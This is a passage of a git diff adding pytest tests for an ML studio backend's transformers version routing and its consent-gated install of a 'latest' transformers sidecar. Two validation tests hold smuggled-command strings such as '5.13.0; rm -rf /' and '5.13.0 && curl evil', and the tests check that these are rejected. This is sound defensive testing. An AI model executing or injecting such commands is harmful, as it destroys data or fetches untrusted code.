+        calls = _no_network(monkeypatch)
+        assert check_upgrade_for_model(_local_model(tmp_path, "brandnew_arch")) is None
+        assert calls["n"] == 0
+
+    def test_no_model_type_falls_through(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        _no_network(monkeypatch)
+        d = tmp_path / "no_type"
+        d.mkdir()
+        (d / "config.json").write_text(json.dumps({"architectures": ["Whatever"]}))
+        assert check_upgrade_for_model(str(d)) is None
+
+    def test_nested_model_type_is_used(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        d = tmp_path / "nested"
+        d.mkdir()
+        (d / "config.json").write_text(json.dumps({"text_config": {"model_type": "brandnew_arch"}}))
+        result = check_upgrade_for_model(str(d))
+        assert result is not None and result["model_type"] == "brandnew_arch"
+
+    def test_never_raises_on_internal_error(self, monkeypatch):
+        monkeypatch.setattr(
+            tl, "_load_config_json", lambda *a, **k: (_ for _ in ()).throw(RuntimeError("boom"))
+        )
+        assert check_upgrade_for_model("some/model") is None
+
+
+class TestNestedModelTypeExtraction:
+    def test_top_level_wins(self):
+        assert _model_types_from_config(
+            {"model_type": "a", "text_config": {"model_type": "b"}}
+        ) == ["a", "b"]
+
+    def test_nested_fallback(self):
+        assert _model_types_from_config({"llm_config": {"model_type": "b"}}) == ["b"]
+
+    def test_missing_returns_none(self):
+        assert _model_types_from_config({}) == []
+
+
+# --- Routing parity: overlay-shipped model_types route as before, never remote-check ---
+
+
+class TestRoutingParity:
+    def test_all_overlay_types_route_identically_and_never_check(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        calls = _no_network(monkeypatch)
+        expected_tier = {
+            "llama": "default",
+            "bert": "default",
+            "gpt2": "default",
+            "qwen3_moe": "530",
+            "qwen3_next": "530",
+            "gemma4": "550",
+            "gemma4_unified": "510",
+        }
+        for model_type, tier in expected_tier.items():
+            cfg = {"model_type": model_type}
+            assert _tier_from_config_mapping(cfg) == tier, model_type
+            assert check_upgrade_for_model(_local_model(tmp_path, model_type)) is None
+        assert calls["n"] == 0
+
+    def test_real_installed_mappings_route_without_checker(self, monkeypatch, tmp_path: Path):
+        """Parity over the REAL installed overlays (base + any provisioned sidecar):
+        every shipped model_type resolves statically, so the remote checker never
+        fires and routing is byte-identical with the feature enabled."""
+        _no_network(monkeypatch)
+        seen = 0
+        for tier in ("default", "530", "550", "510"):
+            types = tv._config_model_types(tier)
+            if not types:
+                continue  # overlay not provisioned in this environment
+            for model_type in types:
+                assert _tier_from_config_mapping({"model_type": model_type}) is not None
+                seen += 1
+        if seen == 0:
+            pytest.skip("no transformers overlay available in this environment")
+
+    def test_get_tier_unchanged_by_kill_switch(self, tmp_path: Path, monkeypatch):
+        _fake_overlays(monkeypatch)
+        _no_network(monkeypatch)
+        path = _local_model(tmp_path, "no_such_arch")
+        _config_json_cache.clear()
+        tier_default = get_transformers_tier(path, probe = False)
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        _config_json_cache.clear()
+        assert get_transformers_tier(path, probe = False) == tier_default == "default"
+
+
+# --- .venv_t5_latest provisioning and routing participation ---
+
+
+class TestLatestVenvProvisioning:
+    def test_version_string_validation(self):
+        assert _is_valid_version_string("5.13.0")
+        assert _is_valid_version_string("5.14.0rc1")
+        assert not _is_valid_version_string("5.13.0; rm -rf /")
+        assert not _is_valid_version_string("git+https://evil")
+        assert not _is_valid_version_string("")
+
+    def test_packages_pin_exact_version(self):
+        pkgs = _venv_t5_latest_packages("5.13.0")
+        assert pkgs[0] == "transformers==5.13.0"
+        assert any(p.startswith("huggingface_hub==") for p in pkgs)
+
+    def test_ensure_latest_writes_pin_and_invalidates_cache(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        recorded = {}
+
+        def _fake_ensure(dir_, packages, label):
+            recorded["dir"] = dir_
+            recorded["packages"] = packages
+            Path(dir_).mkdir(parents = True, exist_ok = True)
+            return True
+
+        monkeypatch.setattr(tv, "_ensure_venv_dir", _fake_ensure)
+        _config_mapping_cache["latest"] = frozenset({"stale"})
+        assert ensure_latest_transformers_venv("5.13.0") is True
+        # Stage-and-swap: pip installs into staging, the live dir is the swap result.
+        assert recorded["dir"] == str(venv_dir) + ".staging"
+        assert "transformers==5.13.0" in recorded["packages"]
+        assert venv_dir.is_dir()
+        assert not Path(str(venv_dir) + ".staging").exists()
+        assert latest_venv_pinned_version() == "5.13.0"
+        assert "latest" not in _config_mapping_cache
+
+    def test_ensure_latest_upgrade_failure_keeps_old_sidecar(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        venv_dir.mkdir(parents = True)
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text(
+            json.dumps({"version": "5.12.0", "packages": ["transformers==5.12.0"]})
+        )
+        (venv_dir / "transformers").mkdir()
+        monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda *a, **k: True)
+        # Install fails mid-flight: the previous sidecar and pin survive.
+        monkeypatch.setattr(tv, "_ensure_venv_dir", lambda *a, **k: False)
+        assert ensure_latest_transformers_venv("5.13.0") is False
+        assert latest_venv_pinned_version() == "5.12.0"
+        assert (venv_dir / "transformers").is_dir()
+        assert not Path(str(venv_dir) + ".staging").exists()
+
+    def test_ensure_latest_rejects_bad_version(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        monkeypatch.setattr(
+            tv,
+            "_ensure_venv_dir",
+            lambda *a: (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        assert ensure_latest_transformers_venv("5.13.0 && curl evil") is False
+
+    def test_ensure_latest_offline_refuses(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        monkeypatch.setattr(
+            tv,
+            "_ensure_venv_dir",
+            lambda *a: (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        assert ensure_latest_transformers_venv("5.13.0") is False
+
+    def test_unpinned_sidecar_never_installs(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        monkeypatch.setattr(
+            tv,
+            "_ensure_venv_dir",
+            lambda *a: (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        assert tv._ensure_venv_t5_latest_exists() is False
+
+    def test_pinned_sidecar_repairs_with_same_version(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        venv_dir.mkdir()
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda *a: False)
+        recorded = {}
+
+        def _fake_ensure(dir_, packages, label):
+            recorded["dir"] = dir_
+            recorded["packages"] = packages
+            Path(dir_).mkdir(parents = True, exist_ok = True)
+            return True
+
+        monkeypatch.setattr(tv, "_ensure_venv_dir", _fake_ensure)
+        assert tv._ensure_venv_t5_latest_exists() is True
+        # Repair also stage-and-swaps, never installing into the live dir.
+        assert recorded["dir"] == str(venv_dir) + ".staging"
+        assert "transformers==5.13.0" in recorded["packages"]
+        assert latest_venv_pinned_version() == "5.13.0"
+
+
+class TestLatestTierRouting:
+    def test_latest_outranks_510(self):
+        assert _higher_tier("latest", "510") == "latest"
+        assert _higher_tier("510", "latest") == "latest"
+
+    def test_tier_from_mapping_prefers_lowest_but_reaches_latest(self, monkeypatch):
+        overlays = dict(_FAKE_OVERLAYS)
+        overlays["latest"] = frozenset({"brandnew_arch"})
+        _fake_overlays(monkeypatch, overlays)
+        assert _tier_from_config_mapping({"model_type": "brandnew_arch"}) == "latest"
+        # Anything a lower tier ships stays on the lower tier.
+        assert _tier_from_config_mapping({"model_type": "qwen3_moe"}) == "530"
+
+    def test_overlay_dir_for_latest(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        (venv_dir / "transformers").mkdir(parents = True)
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        # Unpinned dir is ignored: activation refuses an unpinned sidecar.
+        assert tv._overlay_transformers_dir("latest") is None
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+        assert tv._overlay_transformers_dir("latest") == str(venv_dir / "transformers")
+
+    def test_probe_order_excludes_unprovisioned_latest(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER
+
+    def test_probe_order_includes_provisioned_latest(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        venv_dir.mkdir()
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER + ("latest",)
+
+    def test_activation_prepends_latest_dir(self, tmp_path: Path, monkeypatch):
+        venv_dir = tmp_path / ".venv_t5_latest"
+        venv_dir.mkdir()
+        (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+        monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, **k: "latest")
+        monkeypatch.setattr(tv, "_ensure_venv_t5_latest_exists", lambda: True)
+        old_sys_path = list(sys.path)
+        old_pp = os.environ.get("PYTHONPATH")
+        try:
+            activate_transformers_for_subprocess("some/brand-new-model")
+            assert sys.path[0] == str(venv_dir)
+            assert os.environ["PYTHONPATH"].split(os.pathsep)[0] == str(venv_dir)
+        finally:
+            sys.path[:] = old_sys_path
+            if old_pp is None:
+                os.environ.pop("PYTHONPATH", None)
+            else:
+                os.environ["PYTHONPATH"] = old_pp
+
+    def test_activation_raises_when_latest_missing(self, tmp_path: Path, monkeypatch):
+        monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(tmp_path / ".venv_t5_latest"))
+        monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, **k: "latest")
+        with pytest.raises(RuntimeError, match = "venv_t5_latest"):
+            activate_transformers_for_subprocess("some/brand-new-model")
+
+
+# --- install_latest_transformers: the consent endpoint helper ---
+
+
+class TestInstallLatestTransformers:
+    def test_success_path(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(tl, "compat_plan", lambda v: ((), []))
+        recorded = {}
+
+        def _fake_ensure(
+            version,
+            extra_packages = (),
+            before_swap = None,
+        ):
+            recorded["args"] = (version, extra_packages)
+            return True
+
+        monkeypatch.setattr(tl, "ensure_latest_transformers_venv", _fake_ensure)
+        monkeypatch.setattr(tl, "latest_venv_pinned_version", lambda: "5.13.0")
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is True and result["version"] == "5.13.0"
+        assert recorded["args"] == ("5.13.0", ())
+
+    def test_version_mismatch_rejected(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(
+            tl,
+            "ensure_latest_transformers_venv",
+            lambda v, extra_packages = (): (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        result = install_latest_transformers("4.99.0")
+        assert result["success"] is False and "not the latest" in result["message"]
+
+    def test_offline_rejected(self, monkeypatch):
+        monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+        _no_network(monkeypatch)
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is False and "offline" in result["message"].lower()
+
+    def test_kill_switch_rejected(self, monkeypatch):
+        monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+        _no_network(monkeypatch)
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is False
+
+    def test_install_failure_reported(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(tl, "compat_plan", lambda v: ((), []))
+        monkeypatch.setattr(
+            tl,
+            "ensure_latest_transformers_venv",
+            lambda v, extra_packages = (), before_swap = None: False,
+        )
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is False and "failed" in result["message"]
+
+    def test_blocked_by_incompatible_deps(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(tl, "compat_plan", lambda v: ((), ["numpy>=99.0"]))
+        monkeypatch.setattr(
+            tl,
+            "ensure_latest_transformers_venv",
+            lambda v, extra_packages = (): (_ for _ in ()).throw(AssertionError("must not install")),
+        )
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is False and "numpy>=99.0" in result["message"]
+
+    def test_compat_shadows_passed_to_installer(self, monkeypatch):
+        monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+        monkeypatch.setattr(tl, "compat_plan", lambda v: (("tokenizers==0.23.0",), []))
+        recorded = {}
+
+        def _fake_ensure(
+            version,
+            extra_packages = (),
+            before_swap = None,
+        ):
+            recorded["extras"] = extra_packages
+            return True
+
+        monkeypatch.setattr(tl, "ensure_latest_transformers_venv", _fake_ensure)
+        monkeypatch.setattr(tl, "latest_venv_pinned_version", lambda: "5.13.0")
+        result = install_latest_transformers("5.13.0")
+        assert result["success"] is True
+        assert recorded["extras"] == ("tokenizers==0.23.0",)
+
+
+class TestCompatPlan:
+    def _patch_env(self, monkeypatch, requires, installed):
+        monkeypatch.setattr(tl, "_fetch_requires_dist", lambda v: requires)
+
+        def _ver(name):
+            from importlib.metadata import PackageNotFoundError
+
+            key = name.lower().replace("_", "-")
+            if key not in installed:
+                raise PackageNotFoundError(name)
+            return installed[key]
+
+        monkeypatch.setattr("importlib.metadata.version", _ver)
+
+    def test_satisfied_env_needs_nothing(self, monkeypatch):
+        self._patch_env(
+            monkeypatch,
+            ["tokenizers<=0.23.0,>=0.22.0", "safetensors>=0.8.0", "numpy>=1.17"],
+            {"tokenizers": "0.22.2", "safetensors": "0.8.0", "numpy": "2.4.4"},
+        )
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and blockers == []
+
+    def test_unsatisfied_shadowable_dep_pinned(self, monkeypatch):
+        self._patch_env(
+            monkeypatch,
+            ["tokenizers>=0.24.0"],
+            {"tokenizers": "0.22.2"},
+        )
+        monkeypatch.setattr(tl, "_resolve_exact_version", lambda name, spec: "0.24.1")
+        extras, blockers = tl.compat_plan("5.99.0")
+        assert extras == ("tokenizers==0.24.1",) and blockers == []
+
+    def test_unsatisfied_non_shadowable_dep_blocks(self, monkeypatch):
+        self._patch_env(monkeypatch, ["numpy>=99.0"], {"numpy": "2.4.4"})
+        extras, blockers = tl.compat_plan("5.99.0")
+        assert extras == () and blockers == ["numpy>=99.0"]
+
+    def test_cli_only_dep_ignored(self, monkeypatch):
+        self._patch_env(monkeypatch, ["typer"], {})
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and blockers == []
+
+    def test_sidecar_provided_hub_checked_against_recipe_pin(self, monkeypatch):
+        self._patch_env(monkeypatch, ["huggingface-hub<2.0,>=1.5.0"], {"huggingface-hub": "0.36.2"})
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and blockers == []  # 1.8.0 sidecar pin satisfies it
+
+    def test_sidecar_provided_hub_out_of_range_blocks(self, monkeypatch):
+        self._patch_env(monkeypatch, ["huggingface-hub>=2.1"], {"huggingface-hub": "0.36.2"})
+        extras, blockers = tl.compat_plan("5.99.0")
+        assert blockers == ["huggingface-hub>=2.1"]
+
+    def test_unfetchable_requires_dist_blocks_install(self, monkeypatch):
+        # Proceeding unverified could pin a sidecar whose imports crash workers.
+        monkeypatch.setattr(tl, "_fetch_requires_dist", lambda v: None)
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and len(blockers) == 1 and "retry" in blockers[0]
+
+    def test_extra_marker_requirements_skipped(self, monkeypatch):
+        self._patch_env(
+            monkeypatch,
+            ['torch>=99.0; extra == "torch"', 'pytest; python_version < "3.0"'],
+            {},
+        )
+        extras, blockers = tl.compat_plan("5.13.0")
+        assert extras == () and blockers == []
+
+
+def test_get_snapshot_dedupes_concurrent_fetch(monkeypatch):
+    """While one thread is fetching, other callers return None instead of stacking fetches."""
+    with tl._lock:
+        tl._is_fetching = True
+    calls = {"n": 0}
+
+    def boom():
+        calls["n"] += 1
+        raise AssertionError("must not fetch while another fetch is in flight")
+
+    monkeypatch.setattr(tl, "_refresh_snapshot", boom)
+    assert tl._get_snapshot() is None
+    assert calls["n"] == 0
+    tl.clear_caches()
+
+
+def test_install_serialized():
+    """A second install call while one is in progress gets a structured refusal."""
+    from utils.transformers_version import try_begin_sidecar_swap
+
+    assert try_begin_sidecar_swap() is True
+    out = tl.install_latest_transformers("5.13.0")
+    assert out["success"] is False
+    assert "already in progress" in out["message"]
+    tl.clear_caches()
+
+
+def test_install_in_progress_reflects_reservation():
+    """is_install_in_progress mirrors the shared sidecar swap reservation, so a
+    lazy repair (which takes the same reservation) also blocks worker starts."""
+    from utils.transformers_version import end_sidecar_swap, try_begin_sidecar_swap
+
+    assert tl.is_install_in_progress() is False
+    assert try_begin_sidecar_swap() is True
+    try:
+        assert tl.is_install_in_progress() is True
+    finally:
+        end_sidecar_swap()
+    assert tl.is_install_in_progress() is False
+
+
+def test_upgrade_check_sees_nested_model_types(monkeypatch):
+    """A supported wrapper with a brand-new nested backbone must still signal."""
+    cfg = {
+        "model_type": "llava",  # in every installed overlay
+        "text_config": {"model_type": "zz_brand_new_llm"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": mt == "zz_brand_new_llm",
+            "supported_in_main": mt == "zz_brand_new_llm",
+        },
+    )
+    out = tl.check_upgrade_for_model("some-org/wrapped-new-backbone")
+    assert out is not None
+    assert out["model_type"] == "zz_brand_new_llm"
+
+
+def test_upgrade_check_ignores_nested_known_types(monkeypatch):
+    """All nested types known to installed overlays -> no signal, no remote call."""
+    cfg = {
+        "model_type": "llava",
+        "text_config": {"model_type": "llama"},
+        "vision_config": {"model_type": "clip_vision_model"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    calls = []
+    monkeypatch.setattr(tl, "latest_transformers_supports", lambda mt: calls.append(mt) or None)
+    assert tl.check_upgrade_for_model("some-org/normal-vlm") is None
+    assert calls == []
+
+
+def test_upgrade_check_requires_primary_supported(monkeypatch):
+    """Latest supporting only a nested type must not prompt: routing still
+    cannot load the primary, so the install would not fix the model."""
+    cfg = {
+        "model_type": "zz_new_wrapper",
+        "text_config": {"model_type": "zz_new_llm"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": mt == "zz_new_llm",
+            "supported_in_main": mt == "zz_new_llm",
+        },
+    )
+    assert tl.check_upgrade_for_model("some-org/half-supported") is None
+
+
+def test_upgrade_check_requires_every_missing_type(monkeypatch):
+    """Primary supported but a nested backbone missing from latest -> no prompt
+    (CONFIG_MAPPING would still fail on the sub-config); all supported -> signal
+    carries the primary type."""
+    cfg = {
+        "model_type": "zz_new_wrapper",
+        "text_config": {"model_type": "zz_new_llm"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": mt == "zz_new_wrapper",
+            "supported_in_main": mt == "zz_new_wrapper",
+        },
+    )
+    assert tl.check_upgrade_for_model("some-org/half-supported") is None
+
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": True,
+            "supported_in_main": True,
+        },
+    )
+    out = tl.check_upgrade_for_model("some-org/fully-supported")
+    assert out is not None and out["model_type"] == "zz_new_wrapper"
+
+
+def test_install_success_invalidates_capability_caches(monkeypatch):
+    """A successful install must drop tier probes, the latest mapping, and the
+    vision-detection cache so the new sidecar takes effect without a restart."""
+    from utils.models import model_config as mc
+
+    monkeypatch.setattr("urllib.request.urlopen", _fake_urlopen_factory({}))
+    monkeypatch.setattr(tl, "compat_plan", lambda v: ((), []))
+    monkeypatch.setattr(
+        tl, "ensure_latest_transformers_venv", lambda v, extra_packages = (), before_swap = None: True
+    )
+    monkeypatch.setattr(tl, "latest_venv_pinned_version", lambda: "5.13.0")
+
+    tv._probe_tier_cache["stale/model"] = "default"
+    tv._config_mapping_cache["latest"] = frozenset({"stale_type"})
+    tv._config_mapping_cache["default"] = frozenset({"llama"})
+    mc._vision_detection_cache[("stale/model", None, False)] = False
+
+    result = install_latest_transformers("5.13.0")
+    assert result["success"] is True
+    assert tv._probe_tier_cache == {}
+    assert "latest" not in tv._config_mapping_cache
+    assert tv._config_mapping_cache.get("default") == frozenset({"llama"})  # untouched
+    assert mc._vision_detection_cache == {}
+
+    tv._probe_tier_cache.clear()
+    tv._config_mapping_cache.clear()
+    tl.clear_caches()
+
+
+def test_vision_subprocess_unions_sidecar_registry():
+    """The embedded vision-check script must extend the inlined parent sets with
+    the ACTIVE sidecar's registry so sidecar-only architectures classify."""
+    from utils.models import model_config as mc
+
+    script = mc._VISION_CHECK_SCRIPT
+    ast.parse(script)
+    stub_registry = {
+        "MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES": {
+            "zz_sidecar_vlm": "ZzSidecarForConditionalGeneration"
+        },
+    }
+    ns = {}
+    # Exec only the registry-union block against a stubbed sidecar registry.
+    body = script.split("from transformers import AutoConfig", 1)[1]
+    body = body.split("kwargs = {", 1)[0]
+    helpers = script.split("sys.path.insert(0, backend_dir)", 1)[1]
+    helpers = helpers.split("try:", 1)[0]
+    exec(helpers, ns)
+
+    class _FakeMa:
+        MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES = stub_registry[
+            "MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES"
+        ]
+
+    import sys as _sys
+    import types as _types
+
+    fake_pkg = _types.ModuleType("transformers.models.auto")
+    fake_pkg.modeling_auto = _FakeMa
+    saved = {
+        k: _sys.modules.get(k)
+        for k in ("transformers.models.auto", "transformers.models.auto.modeling_auto")
+    }
+    _sys.modules["transformers.models.auto"] = fake_pkg
+    _sys.modules["transformers.models.auto.modeling_auto"] = _FakeMa
+    try:
+        exec(textwrap.dedent(body), ns)
+    finally:
+        for k, v in saved.items():
+            if v is None:
+                _sys.modules.pop(k, None)
+            else:
+                _sys.modules[k] = v
+
+    assert "zz_sidecar_vlm" in ns["_VLM_MODEL_TYPES"]
+    assert "ZzSidecarForConditionalGeneration" in ns["_VLM_CLASS_NAMES"]
+
+    class _Cfg:
+        architectures = ["ZzSidecarForConditionalGeneration"]
+        model_type = "zz_sidecar_vlm"
+
+    assert ns["_is_vlm"](_Cfg()) is True
+
+
+def test_upgrade_check_mixed_pypi_main_reports_dev_only(monkeypatch):
+    """Primary in the PyPI release but a nested type only on main: no install
+    may be offered (CONFIG_MAPPING would fail on the nested sub-config), so the
+    aggregate must read as main-only."""
+    cfg = {
+        "model_type": "zz_new_wrapper",
+        "text_config": {"model_type": "zz_new_llm"},
+    }
+    monkeypatch.setattr(tl, "_load_config_json", lambda *a, **k: cfg)
+    monkeypatch.setattr(
+        tl,
+        "latest_transformers_supports",
+        lambda mt: {
+            "pypi_version": "5.13.0",
+            "supported_in_pypi": mt == "zz_new_wrapper",
+            "supported_in_main": True,
+        },
+    )
+    out = tl.check_upgrade_for_model("some-org/mixed-support")
+    assert out is not None
+    assert out["model_type"] == "zz_new_wrapper"
+    assert out["supported_in_pypi"] is False  # no install offered
+    assert out["supported_in_main"] is True
+
+
+def test_install_endpoint_not_mounted_on_v1():
+    """The consented pip-install endpoint is a Studio admin action; it must live
+    on studio_router (kept off the OpenAI-compatible /v1 mount), not router."""
+    from routes import inference as ri
+
+    path = "/install-latest-transformers"
+    assert path in [r.path for r in ri.studio_router.routes]
+    assert path not in [r.path for r in ri.router.routes]
+
+
+def test_kill_switch_removes_provisioned_latest_from_routing(tmp_path, monkeypatch):
+    """UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS must roll back a provisioned latest
+    sidecar: no overlay mapping, no probe participation, no file deletion needed."""
+    venv_dir = tmp_path / ".venv_t5_latest"
+    (venv_dir / "transformers").mkdir(parents = True)
+    (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+    monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+
+    assert tv._overlay_transformers_dir("latest") == str(venv_dir / "transformers")
+    assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER + ("latest",)
+
+    monkeypatch.setenv("UNSLOTH_STUDIO_NO_LATEST_TRANSFORMERS", "1")
+    tv._config_mapping_cache.pop("latest", None)
+    assert tv._overlay_transformers_dir("latest") is None
+    assert tv._probe_tier_order() == tv._PROBE_TIER_ORDER
+    tv._config_mapping_cache.pop("latest", None)
+
+
+def test_repair_failure_preserves_pin_and_live_dir(tmp_path, monkeypatch):
+    """A failed lazy repair must not delete the incomplete-but-pinned live
+    sidecar: the pin survives so a later attempt can still repair it."""
+    venv_dir = tmp_path / ".venv_t5_latest"
+    venv_dir.mkdir()
+    (venv_dir / tv._LATEST_PIN_MARKER).write_text("5.13.0")
+    (venv_dir / "partial_file").write_text("x")
+    monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+    monkeypatch.setattr(tv, "_venv_dir_is_valid", lambda *a: False)
+    monkeypatch.setattr(tv, "_ensure_venv_dir", lambda *a, **k: False)
+
+    from utils.transformers_version import latest_venv_pinned_version
+
+    assert tv._ensure_venv_t5_latest_exists() is False
+    assert venv_dir.is_dir()
+    assert (venv_dir / "partial_file").exists()
+    assert latest_venv_pinned_version() == "5.13.0"
+    assert not (tmp_path / ".venv_t5_latest.staging").exists()
+
+
+def test_failed_staging_install_removes_staging_dir(tmp_path, monkeypatch):
+    """A pip failure inside _ensure_venv_dir returns False without raising, so
+    the except cleanup never runs; the partial staging dir must still go."""
+    venv_dir = tmp_path / ".venv_t5_latest"
+    monkeypatch.setattr(tv, "_VENV_T5_LATEST_DIR", str(venv_dir))
+
+    def _fake_ensure(dir_, packages, label):
+        Path(dir_).mkdir(parents = True, exist_ok = True)
+        (Path(dir_) / "partial").write_text("x")
+        return False
+
+    monkeypatch.setattr(tv, "_ensure_venv_dir", _fake_ensure)
+    assert ensure_latest_transformers_venv("5.13.0") is False
+    assert not Path(str(venv_dir) + ".staging").exists()
diff --git a/studio/backend/tests/test_transformers_version.py b/studio/backend/tests/test_transformers_version.py
index b9b5abb9e5..a6e6803a5c 100644
--- a/studio/backend/tests/test_transformers_version.py
+++ b/studio/backend/tests/test_transformers_version.py
@@ -2550,3 +2550,649 @@ class TestHfEndpointUnreachable:
         t0 = time.time()
         result = hf_endpoint_unreachable(timeout = 2)
         assert result is True and (time.time() - t0) < 6.0
+
+
+class TestLatestTierActiveFor:
+    """latest_tier_active_for: the 16-bit guard for the consented latest sidecar."""
+
+    @staticmethod
+    def _pin(
+        monkeypatch,
+        tv,
+        version = "5.13.1",
+    ):
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: version)
+        monkeypatch.setattr(tv, "_remote_lora_base", lambda name, hf_token = None: None)
+
+    def test_true_when_tier_latest(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        self._pin(monkeypatch, tv)
+        monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, **k: "latest")
+        assert tv.latest_tier_active_for("Zyphra/ZAYA1-8B") is True
+
+    def test_false_for_fixed_tiers(self, monkeypatch):
+        import utils.transformers_version as tv
+        self._pin(monkeypatch, tv)
+        for tier in ("default", "530", "550", "510"):
+            monkeypatch.setattr(tv, "get_transformers_tier", lambda *a, _t = tier, **k: _t)
+            assert tv.latest_tier_active_for("some/model") is False
+
+    def test_false_without_pin_and_no_resolution(self, monkeypatch):
+        """No sidecar pin returns False before any tier or network resolution."""
+        import utils.transformers_version as tv
+
+        def _boom(*a, **k):
+            raise AssertionError("must not resolve without a pin")
+
+        monkeypatch.setattr(tv, "latest_venv_pinned_version", lambda: None)
+        monkeypatch.setattr(tv, "_remote_lora_base", _boom)
+        monkeypatch.setattr(tv, "get_transformers_tier", _boom)
+        assert tv.latest_tier_active_for("Zyphra/ZAYA1-8B") is False
+
+    def test_never_raises(self, monkeypatch):
+        import utils.transformers_version as tv
+
+        def _boom(*a, **k):
+            raise RuntimeError("tier resolution exploded")
+
+        self._pin(monkeypatch, tv)
+        monkeypatch.setattr(tv, "get_transformers_tier", _boom)
+        assert tv.latest_tier_active_for("some/model") is False
+
+    def test_remote_lora_base_is_resolved(self, monkeypatch):
+        """A remote adapter is judged by its base model, like worker activation."""
+        import utils.transformers_version as tv
+
